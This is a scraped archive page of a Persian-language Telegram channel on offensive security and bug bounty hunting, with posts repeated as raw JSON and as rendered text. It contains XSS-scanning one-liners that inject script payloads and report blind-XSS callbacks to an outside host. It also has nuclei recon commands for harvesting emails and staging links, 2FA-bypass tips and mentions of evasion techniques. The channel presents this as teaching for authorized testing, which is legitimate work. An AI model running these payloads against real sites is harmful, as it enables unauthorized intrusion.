لا تقع ضحية للمخادعين! تيليمتريو يكتشف ويُميّز هذه القنوات 👉 إذا كنت تريد رؤية العلامة، اشترك

Try Hack Box

الذهاب إلى القناة على Telegram

1 Nov 2020 1399/08/11 🔴 THB | Offensive Security آموزش، تحقیق و تجربه عملی در امنیت تهاجمی Penetration Testing · Red Teaming · AI Security 🎯 یاد بگیر. آزمایش کن. حرفه‌ای شو.

7 194

المشتركون

+2424 ساعات

+997 أيام

+40330 أيام

940

عرض المشاهدات

~ 47524 ساعات

~ 62248 ساعات

13.07%

معدل المشاركة

~ 2

المشاركات في اليوم

Ads index

beta

أرشيف المشاركات

' | while read url; do curl -s \"$url\" | grep -q \"\" && echo \"[XSS] $url\"; done\n\n\n۲. Gospider + Dalfox\n\ngospider -S URLS.txt -c 10 -d 5 --blacklist \".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)\" --other-source | grep -oP \"https?://[^ ]+\" | grep \"=\" | qsreplace -a | dalfox pipe\n\n\n۳. Wayback + GF + Blind XSS via Dalfox\n\nwaybackurls target.com | gf xss | sed 's/=.*/=/' | sort -u | dalfox -b yoursubdomain.xss.ht pipe\n\n\n۴. Gospider + Dalfox (Deep Crawl)\n\ngospider -S targets.txt -c 20 -d 3 --js --sitemap --robots | grep -oP \"https?://[^\\s']+\" | grep \"=\" | uro | dalfox pipe -o gospider_xss.txt\n\n\n۵. Dalfox Direct with Blind XSS\n\ncat urls.txt | dalfox pipe -b yourdomain.xss\n\n\nابزارهای مورد نیاز: \nhttpx, waybackurls, uro, gf, qsreplace, curl, gospider, dalfox\n\n\nکدوم one-liner XSS رو با Dalfox تست کردی که blind payload trigger کرد و bounty داد؟ تجربت رو کامنت کن\n\n\n@TryHackBox \n#باگ_بانتی","datePublished":"2026-09-30T15:24:06Z","dateModified":"2026-09-30T16:08:44Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":122},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3373","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3373","mainEntityOfPage":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3373","headline":"06:: PORTS 25/465/587 اSMTP برای ارسال و انتقال ایمیل استفاده میشود ادامه در : https://x.com/KavehxNet/status…","articleBody":"06:: PORTS 25/465/587\n\nاSMTP برای ارسال و انتقال ایمیل استفاده میشود\n\nادامه در : \n\nhttps://x.com/KavehxNet/status/2104984100004098326","datePublished":"2026-09-29T17:22:01Z","dateModified":"2026-09-30T09:40:16Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":294},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2026-09-29T17:21:25Z"}}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3372","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3372","mainEntityOfPage":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3372","headline":"🎥 شروع دوره #رایگان Network+ در TryHackBox - معرفی دوره یکی از مدرسین تیم TryHackBox ( اقای حسین نائیجی ) ضبط…","articleBody":"🎥 شروع دوره #رایگان Network+ در TryHackBox - معرفی دوره\n\nیکی از مدرسین تیم TryHackBox ( اقای حسین نائیجی ) ضبط دوره Network+ رو شروع کرده و اولین و دومین ویدئو آماده شده.\n\nبرای تهیه این دوره از زیر استفاده شده است :\n📘 CompTIA Network+ Study Guide\n🎯 N10-009\n\n\nاما قبل از اینکه ضبط ادامه دوره رو شروع کنیم، می‌خوایم اول نظر خودتون رو بدونیم.\nویدئو رو ببینید و صادقانه بهمون بگید:\n\n🔹 نحوه تدریس و توضیح مطالب چطوره؟\n🔹 سرعت صحبت و بیان مدرس مناسبه؟\n🔹 کیفیت صدا و تصویر قابل قبوله؟\n🔹 این سبک تدریس رو برای ادامه دوره می‌پسندید؟\n\nاگر جایی ایراد داره، راحت بگید.\n\nحتی اگر فکر می‌کنید این سبک آموزش مناسب نیست، دوست داریم بدونیم چرا.\nفعلاً تعداد ویدئوهای زیادی ضبط نشده؛\nبرای همین فیدبک شما میتونه مستقیماً روی ادامه تولید این دوره تأثیر بذاره.\n\nپس ویدئو رو ببینید و بهمون بگید:\n\nادامه بدیم؟\n\nاگر آره، چه چیزی رو بهتر کنیم؟ 👇\nمنتظر فیدبک ‌تون هستیم.\n\n@TryHackBox\n@TryHackBoxOfficial\n@AiTHB\n@RadioZeroPod\n#NetworkPlus #CyberSecurity #Networking","datePublished":"2026-09-29T15:29:00Z","dateModified":"2026-09-30T09:40:16Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":10,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":346},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":6},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":10}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2026-08-10T10:48:27Z"}}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3371","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3371","mainEntityOfPage":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3371","headline":"🔥 برای جمع‌ آوری اطلاعات سریع‌ تر nuclei -list targets.txt -ai \"Extract page title, detech tech and versions\"…","articleBody":"🔥 برای جمع‌ آوری اطلاعات سریع‌ تر\n\nnuclei -list targets.txt -ai \"Extract page title, detech tech and versions\"\n\nnuclei -list targets.txt -ai \"Extract email addresses from web pages\"\n\nnuclei -list targets.txt -ai \"Extract all subdomains referenced in web pages\"\n\nnuclei -list targets.txt -ai \"Extract all external resource URLs (CDNs, images, iframes, fonts) from HTML\"\n\nnuclei -list targets.txt -ai \"Extract social media profile links from web pages\"\n\nnuclei -list targets.txt -ai \"Extract links pointing to staging, dev, or beta environments from HTML\"\n\nnuclei -list targets.txt -ai \"Extract all links pointing to PDF, DOCX, XLSX, and other downloadable documents\"\n\n\nکدوم دستور Nuclei AI رو تست کردین که staging لینک یا ایمیل حساس رو شکار کرد؟ تجربتون رو کامنت کنین\n\n@TryHackBox","datePublished":"2026-09-29T07:39:58Z","dateModified":"2026-09-29T15:32:04Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":265},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":3},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":22},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2026-08-06T08:06:01Z"}}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3370","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3370","mainEntityOfPage":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3370","headline":"اگه مهاجم فقط به یک سیستم داخل شبکه دسترسی پیدا کنه، چطور میتونه به کل دامین برسه؟ @TryHackBoxGroup","articleBody":"اگه مهاجم فقط به یک سیستم داخل شبکه دسترسی پیدا کنه، چطور میتونه به کل دامین برسه؟\n\n@TryHackBoxGroup","datePublished":"2026-09-29T06:03:31Z","dateModified":"2026-09-29T07:40:09Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":169},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3369","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3369","mainEntityOfPage":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3369","headline":"اگه مهاجم فقط به یک سیستم داخل شبکه دسترسی پیدا کنه، چطور میتونه به کل دامین برسه؟ @TryHackBoxGap","articleBody":"اگه مهاجم فقط به یک سیستم داخل شبکه دسترسی پیدا کنه، چطور میتونه به کل دامین برسه؟\n\n@TryHackBoxGap","datePublished":"2026-09-29T06:03:15Z","dateModified":"2026-09-29T06:03:15Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3368","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3368","mainEntityOfPage":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3368","headline":"دورک های مفید برای باگ هانترها که می‌توانند از آنها برای پیدا کردن اطلاعات حساس استفاده کنند: 👇🏻 📌 در: https:…","articleBody":"دورک های مفید برای باگ هانترها که می‌توانند از آنها برای پیدا کردن اطلاعات حساس استفاده کنند: 👇🏻\n\n📌 در:\n\nhttps://lnkd.in/p/dF-jW4mR\n\n\nاگر این نوع محتوا برای شما مفید است، با دنبال کردن صفحه LinkedIn TryHackBox و حمایت از طریق لایک و اشتراک‌گذاری، به رشد این مسیر کمک کنید. \n@TryHackBox \n#باگ_بانتی","datePublished":"2026-09-29T05:42:39Z","dateModified":"2026-09-29T07:40:09Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":106},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2026-08-05T09:39:30Z"}}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3367","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3367","mainEntityOfPage":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3367","headline":"چه پسوردهای ناامنی را استفاده کرده‌اید یا از همکارانتان شنیده‌اید؟ در قسمت نظرات به اشتراک بگذارید 👇 هدف فقط…","articleBody":"چه پسوردهای ناامنی را استفاده کرده‌اید یا از همکارانتان شنیده‌اید؟ \n\nدر قسمت نظرات به اشتراک بگذارید 👇\n\n\nهدف فقط افزایش آگاهی امنیتی است","datePublished":"2026-09-29T02:54:51Z","dateModified":"2026-09-29T05:42:44Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":104},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2026-08-05T03:26:42Z"}}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3366","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3366","mainEntityOfPage":"https://telemetr.io/ar/channels/1218408024-tryhackbox/posts/3366","headline":"🔥 نکته‌ای برای باگ بانتی: بایپس احراز هویت بسیاری از توسعه‌ دهندگان بر روی محافظت‌ های پیچیده در قسمت جلویی (…","articleBody":"🔥 نکته‌ای برای باگ بانتی: بایپس احراز هویت \n\nبسیاری از توسعه‌ دهندگان بر روی محافظت‌ های پیچیده در قسمت جلویی (فرانت‌اند) تمرکز می‌کنند، در حالی که قسمت پشتی (بک‌اند) را کاملاً باز می‌ گذارند.\n\nبررسی‌ های سریع که نتیجه‌ بخش هستند:\n\n1. دسترسی مستقیم به بخش مدیریت\n تلاش کنید تا به آدرس‌ های /admin\n، /dashboard، /panel، /cp بدون ورود به سیستم دسترسی پیدا کنید.\n\n اغلب، هیچ تغییر مسیری (redirect) یا بررسی احراز هویت مناسبی وجود ندارد.\n\n2. بایپس احراز هویت دو مرحله‌ای (2FA)\n\n - با تغییر درخواست، مرحله‌ی 2FA را دور بزنید (پارامتر 2fa را حذف کنید یا آن را روی true تنظیم کنید).\n\n - پس از اولین مرحله‌ی موفق، درخواست ورود به سیستم را دوباره ارسال کنید.\n\n - سعی کنید از پارامترهایی مانند ?bypass=1 یا پارامترهای پنهان مشابه استفاده کنید.\n\n3. افشای توکن بازنشانی رمز عبور\n\n بررسی کنید که آیا توکن بازنشانی رمز عبور در پاسخ JSON، کد منبع صفحه یا ایمیل تأییدیه قبل از کلیک کاربر بر روی لینک، نمایش داده می‌شود یا خیر.\n\nنکته‌ی مهم: این باگ‌ های \"ساده\" بسیار رایج‌ تر از اکسپلویت‌ های پیچیده هستند و اغلب منجر به آسیب‌پذیری‌ های حیاتی و بانتی های خوبی می‌ شوند.\nآنها را در ابتدای هر برنامه تست کنید.\n\nعلاقه خود را به این پست ها با 🔥 نشان دهید.\n\n@TryHackBox\n#باگ_بانتی","datePublished":"2026-09-28T16:58:37Z","dateModified":"2026-10-01T14:54:27Z","author":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"publisher":{"@type":"Organization","name":"Try Hack Box","url":"https://telemetr.io/ar/channels/1218408024-tryhackbox","image":"https://img.telemetr.io/c/1ksjAk/6046249694691789995?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":161},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":10},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2026-08-02T04:48:50Z"}}}]}

7 206

شما در حوزه امنیت اطلاعات چه جایگاهی دارید ؟

Anonymous voting

7 206

🎬 جذب تدوینگر ویدیو برای تیم TryHackBox مجموعه TryHackBox برای توسعه محتوای ویدیویی خود در Instagram و سایر پلتفرم‌ ها به یک Video Editor علاقه‌ مند و مسئولیت‌ پذیر نیاز دارد. این همکاری در مرحله فعلی به‌ صورت داوطلبانه است، اما قرار نیست صرفاً «تدوین رایگان» باشد. فردی که به تیم اضافه میشود در فرآیند واقعی تولید محتوای Cybersecurity حضور خواهد داشت و بخشی از تیم تولید محتوای TryHackBox خواهد بود. وظایف: • تدوین Reels و ویدیوهای آموزشی ا • Cut و Pacing مناسب برای محتوای کوتاه • اضافه کردن Subtitle و Motion ساده • آماده‌سازی خروجی مناسب Instagram • همکاری با تیم محتوا برای اجرای سناریوها • حفظ یک Style و Visual Identity یکپارچه برای TryHackBox مهارت‌ های موردنظر: • تسلط به Premiere Pro، DaVinci Resolve یا نرم‌افزار مشابه • درک مناسب از تدوین محتوای Short-form • آشنایی با Motion Graphics یک مزیت محسوب می‌شود • دقت، مسئولیت‌پذیری و توانایی کار تیمی • داشتن چند نمونه کار برای بررسی مزایای همکاری: • عضویت در تیم تولید محتوای TryhackBox • ساخت Portfolio با پروژه‌های واقعی حوزه Cybersecurity • معرفی و اعتباردهی به عنوان عضو تیم در پروژه‌های قابل انتشار • دسترسی به بخشی از محتوای آموزشی TryHackBox • امکان همکاری در پروژه‌ های تخصصی و تجاری آینده • اولویت برای همکاری‌ های Paid در صورت شکل‌ گیری پروژه‌های درآمدزا • امکان رشد به عنوان Video Editor اصلی تیم اگر به تدوین علاقه دارید و دوست دارید در کنار یک تیم تخصصی Cybersecurity تجربه واقعی کسب کنید، نمونه‌کارها و معرفی کوتاهی از خودتان را برای ما ارسال کنید. 📩 ارتباط: @THBxSupport

7 206

در چه حوزه ای فعالیت دارید ؟

Anonymous voting

7 206

Repost from TryHackBox ( AI Security )

📌 نقشه خطرات هوش مصنوعی مبتنی بر عامل ، نسخه 2، ژوئن 2026. @AiTHB #هوش_مصنوعی

7 206

🔥 چک لیست RBAC @TryHackBox

7 206

روز مهر و ماه مهر و جشن فرخ‌مهرگان مهر بفزای ای نگار مهرجوی مهربان مهربانی کن به جشن مهرگان و روز مهر مهربانی به بروز مهر و جشن مهرگان جشن مهرگان گاه پیروزی نور و مهر و روشنایی بر تاریکی و ستم ،خجسته باد

7 206

Repost from ⁪

ویندوز و مک بدون اجازه‌ ت کلی داده ازت جمع میکنن لینوکس این کار رو نمیکنه (یا حداقل کنترلش دست خودته) فرق اصلیشون رو ساده و کاربردی میگم: https://x.com/KavehxNet/status/2105180790027956224 اگر به این جور موضوعات علاقه دارین توییت‌ های بیشتری درباره حریم خصوصی نظارت و امنیت دیجیتال میذارم

7 206

Repost from Try Hack Box

🛡️ PERSISTENCE SERIES | PART 1 خب Persistence یعنی چی؟ فرض کنید مهاجم بعد از Initial Access تونسته وارد یک سیستم بشه. خب، حالا اگر سیستم Reboot بشه چی؟ اگر Session بسته بشه؟ اگر Process مربوط به دسترسی از بین بره؟ اینجاست که Persistence اهمیت پیدا میکنه. اگه به زبان ساده بگم Persistence یعنی مهاجم راهی ایجاد کنه که بعد از از دست رفتن دسترسی اولیه، بتونه دوباره به سیستم یا محیط موردنظرش دسترسی پیدا کنه. در Windows، مکانیزم‌ های مختلفی میتونن در این زمینه مورد بررسی قرار بگیرن. مثل: 🔹 Registry Run Keys 🔹 Scheduled Tasks 🔹 Windows Services 🔹 WMI Event Subscriptions اما یک نکته مهم وجود داره: ا Persistence همیشه یک فایل عجیب‌وغریب یا یک رفتار کاملاً مشخص نیست. گاهی یک Configuration، یک Task یا حتی یک Service میتونه کاملاً عادی به نظر برسه. چیزی که اون رو مشکوک میکنه، معمولاً Context و رفتاریه که در اطرافش اتفاق می‌ افته. ⚠️ این مطالب صرفاً برای آموزش و Authorized Security Assessments است. 1/2 @TryHackBox #TryHackBox #CyberSecurity #Persistence #RedTeam #WindowsSecurity

7 206

Repost from Try Hack Box

📚 مجموعه کتابهای کاربردی در دنیای امنیت 📖 کتابچه "Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory" از مقدماتی تا پیشرفته. 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۵۰,۰۰۰ تومان 📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۵۰,۰۰۰ تومان 📖 شکار عملی باگ بانتی : از Recon تا Bounty واقعی : متدولوژی و شناسایی و آسیب پذیری های دنیای واقعی 📕 جزئیات بیشتر کتاب 💰 قیمت : ۳۶۰,۰۰۰ تومان 📖 کتابچه Kerberos For Pentesters 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۶۹ تومان ممکنه در آینده قیمت کتاب‌ ها تغییر کنه و افزایش داشته باشه بنابراین اگر قصد خرید دارید، قیمت فعلی فرصت خوبی برای تهیه کتاب‌ هاست. 📌 جهت خرید به ایدی زیر پیام دهید: @THBxSupport

7 206

Repost from Try Hack Box

وقتی مهاجم نمی‌ خواهد دیده شود بعد از ورود مهاجم به سیستم، داستان تمام نمیشود اتفاقاً یکی از مهم‌ ترین بخش‌ های حمله از همین‌ جا شروع می‌ شود: چطور فعالیتش را انجام دهد بدون اینکه EDR، Antivirus و سایر Security Controls به‌سرعت متوجه آن شوند؟ در اسلایدهای جدید TryHackBox چند تکنیک مهم Defense Evasion رو بررسی کردیم: 🔹 AMSI Bypass 🔹 Process Injection 🔹 Timestomping 🔹 Living off the Land 🔹 Log Clearing این بار مطالب رو به‌صورت اسلایدی و تصویری آماده کردیم تا تکنیک‌ها و روش Detection اون‌ها راحت‌ تر قابل بررسی باشه. 🎯 اما یک سؤال: به نظرتون کدوم تکنیک برای Detection چالش‌ برانگیزتره؟ و چرا؟ 📸 اسلایدهای کامل رو در اینستاگرام ببینید و نظرتون رو اونجا بنویسید: https://www.instagram.com/p/DcCKiJRDFAx/ @TryHackBox @TryHackBoxOfficial @RadioZeroPod @AiTHB #TryHackBox #CyberSecurity #DefenseEvasion #RedTeam #EDR #ThreatDetection

7 206

دوستان بخاطر شرایط ناپایدار مجبورا و ناخواسته مجبور شدیم یک کانال توی بله بالا بیاریم ، برای اینکه از آموزش و خرید کتابهای جدید جا نمونید اگه این بله دارید ما را دنبال کنید فعلا فعالیت همینجاست ولی از جایی که شرایط کشور معلوم نیست چی به چیه اجتمال قطعی اینترنت هست . کانال ما در بله https://ble.ir/TryHackBox

7 206

🔖 فقط چند one-liner killer برای XSS hunting رو دراپ میکنم 💢 فرمان‌ های تمیز برای شکار XSS Payload: ۱. Wayback + httpx + GF + Dalfox

cat domains.txt | httpx -silent -ports 80,443,8080,8443,3000,8000 | waybackurls | grep "=" | uro | gf xss | qsreplace '"><script>alert(1)</script>' | while read url; do curl -s "$url" | grep -q "<script>alert(1)</script>" && echo "[XSS] $url"; done

۲. Gospider + Dalfox

gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -oP "https?://[^ ]+" | grep "=" | qsreplace -a | dalfox pipe

۳. Wayback + GF + Blind XSS via Dalfox

waybackurls target.com | gf xss | sed 's/=.*/=/' | sort -u | dalfox -b yoursubdomain.xss.ht pipe

۴. Gospider + Dalfox (Deep Crawl)

gospider -S targets.txt -c 20 -d 3 --js --sitemap --robots | grep -oP "https?://[^\s']+" | grep "=" | uro | dalfox pipe -o gospider_xss.txt

۵. Dalfox Direct with Blind XSS

cat urls.txt | dalfox pipe -b yourdomain.xss

ابزارهای مورد نیاز:

httpx, waybackurls, uro, gf, qsreplace, curl, gospider, dalfox

کدوم one-liner XSS رو با Dalfox تست کردی که blind payload trigger کرد و bounty داد؟ تجربت رو کامنت کن

@TryHackBox #باگ_بانتی

7 206

Repost from ⁪

06:: PORTS 25/465/587 اSMTP برای ارسال و انتقال ایمیل استفاده میشود ادامه در : https://x.com/KavehxNet/status/2104984100004098326

7 206

Repost from Try Hack Box

🎥 شروع دوره #رایگان Network+ در TryHackBox - معرفی دوره یکی از مدرسین تیم TryHackBox ( اقای حسین نائیجی ) ضبط دوره Network+ رو شروع کرده و اولین و دومین ویدئو آماده شده. برای تهیه این دوره از زیر استفاده شده است :

📘 CompTIA Network+ Study Guide 🎯 N10-009

اما قبل از اینکه ضبط ادامه دوره رو شروع کنیم، می‌خوایم اول نظر خودتون رو بدونیم. ویدئو رو ببینید و صادقانه بهمون بگید:

🔹 نحوه تدریس و توضیح مطالب چطوره؟ 🔹 سرعت صحبت و بیان مدرس مناسبه؟ 🔹 کیفیت صدا و تصویر قابل قبوله؟ 🔹 این سبک تدریس رو برای ادامه دوره می‌پسندید؟

اگر جایی ایراد داره، راحت بگید. حتی اگر فکر می‌کنید این سبک آموزش مناسب نیست، دوست داریم بدونیم چرا. فعلاً تعداد ویدئوهای زیادی ضبط نشده؛ برای همین فیدبک شما میتونه مستقیماً روی ادامه تولید این دوره تأثیر بذاره. پس ویدئو رو ببینید و بهمون بگید: ادامه بدیم؟

اگر آره، چه چیزی رو بهتر کنیم؟ 👇 منتظر فیدبک ‌تون هستیم.

@TryHackBox @TryHackBoxOfficial @AiTHB @RadioZeroPod #NetworkPlus #CyberSecurity #Networking

7 206

Repost from Try Hack Box

🔥 برای جمع‌ آوری اطلاعات سریع‌ تر

nuclei -list targets.txt -ai "Extract page title, detech tech and versions"

nuclei -list targets.txt -ai "Extract email addresses from web pages"

nuclei -list targets.txt -ai "Extract all subdomains referenced in web pages"

nuclei -list targets.txt -ai "Extract all external resource URLs (CDNs, images, iframes, fonts) from HTML"

nuclei -list targets.txt -ai "Extract social media profile links from web pages"

nuclei -list targets.txt -ai "Extract links pointing to staging, dev, or beta environments from HTML"

nuclei -list targets.txt -ai "Extract all links pointing to PDF, DOCX, XLSX, and other downloadable documents"

کدوم دستور Nuclei AI رو تست کردین که staging لینک یا ایمیل حساس رو شکار کرد؟ تجربتون رو کامنت کنین

@TryHackBox

7 206

اگه مهاجم فقط به یک سیستم داخل شبکه دسترسی پیدا کنه، چطور میتونه به کل دامین برسه؟ @TryHackBoxGroup

7 206

اگه مهاجم فقط به یک سیستم داخل شبکه دسترسی پیدا کنه، چطور میتونه به کل دامین برسه؟ @TryHackBoxGap

7 206

Repost from Try Hack Box

دورک های مفید برای باگ هانترها که می‌توانند از آنها برای پیدا کردن اطلاعات حساس استفاده کنند: 👇🏻 📌 در: https://lnkd.in/p/dF-jW4mR

اگر این نوع محتوا برای شما مفید است، با دنبال کردن صفحه LinkedIn TryHackBox و حمایت از طریق لایک و اشتراک‌گذاری، به رشد این مسیر کمک کنید.

@TryHackBox #باگ_بانتی

7 206

Repost from Try Hack Box

چه پسوردهای ناامنی را استفاده کرده‌اید یا از همکارانتان شنیده‌اید؟ در قسمت نظرات به اشتراک بگذارید 👇

هدف فقط افزایش آگاهی امنیتی است

7 206

Repost from Try Hack Box

🔥 نکته‌ای برای باگ بانتی: بایپس احراز هویت بسیاری از توسعه‌ دهندگان بر روی محافظت‌ های پیچیده در قسمت جلویی (فرانت‌اند) تمرکز می‌کنند، در حالی که قسمت پشتی (بک‌اند) را کاملاً باز می‌ گذارند. بررسی‌ های سریع که نتیجه‌ بخش هستند:

